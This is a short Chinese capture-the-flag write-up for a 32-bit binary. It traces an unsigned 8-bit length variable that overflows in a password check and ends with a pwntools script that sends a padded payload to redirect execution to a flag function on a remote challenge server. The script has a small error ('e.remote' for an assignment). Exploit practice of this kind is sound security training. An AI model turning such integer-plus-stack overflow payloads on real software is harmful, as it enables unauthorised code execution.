使用checksec 扫描,开启了NX。是一个32位的程序。
使用ida打开,main函数里面选1进入login。
进入check_passwd。
我们发现了v3 是 unsigned _int8 类型,其范围为0-255,而passwd可输入的长度为0x199(即409),可使v3发生整数溢出。
结合栈溢出可写出如下脚本。
from pwn import *
e.remote('111.198.29.45',41425)
flag_addr = 0x0804868B
payload = 0x18*'a'+p32(flag_addr)+(256-0x18-4)*'a'+4*'a'
e.sendlineafter("Your choice:","1")
e.sendlineafter("Please input your username:","Sakura")
e.sendlineafter("Please input your passwd:",payload)
e.interactive()